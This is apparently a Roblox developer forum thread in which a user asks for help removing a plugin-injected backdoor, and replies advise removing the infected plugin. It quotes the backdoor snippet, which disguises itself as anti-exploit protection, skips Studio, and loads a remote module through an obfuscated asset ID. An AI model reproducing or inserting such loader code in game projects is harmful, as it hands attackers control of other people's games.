I want to create a script that can destroy this random script , that keeps randomly being parented to parts and is called Debounce or fix, it keeps changing its name, and it is only inserted once the game runs.
it’s (malicious ) code :
--This an script of ROBLOX Studio. Do not delete it, this script secures your game from exploiters.
--Thanks.
if not game:GetService("RunService"):IsStudio() then
require((397.86020086+0.00000400)*9305953)
end
First of all it’s already clear that it’s a malicious/virus script.
and also when you solve 397.86020086+0.00000400)*9305953)
then it gives --https://www.roblox.com–/library/3702468367/ab Please do not visit this link, it is only provided to show what the virus script requires into the game.
So anyways since I don’t know how to script an anti virus script, I came up with this very ineffective and defunct script
local target = workspace:GetDescendants()
for _,t in pairs (target)
do
local x = t:FindFirstAncestorOfClass("Script")
for x,d in pairs do
local g = d:GetChildren()
for
g,loopedclass in pairs (g) do
print(2)
if loopedclass.Name=="Fix"
then loopedclass:Destroy()
print(3)
end
I don’t exactly know why you are looking at the trouble of deleting your issue via a script, especially when a backdoor is not forcely only called “Fix”, it could change anytime upon plugin update,
Just look which plugin adds random script and remove it permanently.
I assume your main problem is how would you make the script work, but as for the first problem, can’t you find the malicious plugin or module that’s causing this?
So you’ve found yourself dealing with an XY problem. You have an infected plugin that is inserting scripts and you want to create a script that automatically removes these inserted scripts, but your script remover is encountering troubles.
Search through your plugins and remove the infected one instead of trying to do something like this, as it’s not necessary in any capacity. That’s the only real resolution to this problem. Isolate your plugins one by one, search their sources, verify the creators, anything. Just not this script.
Always be careful of what plugins you add to your game. For all you know, it’s sending valuable information back to the plugin creators server or some other similar situation.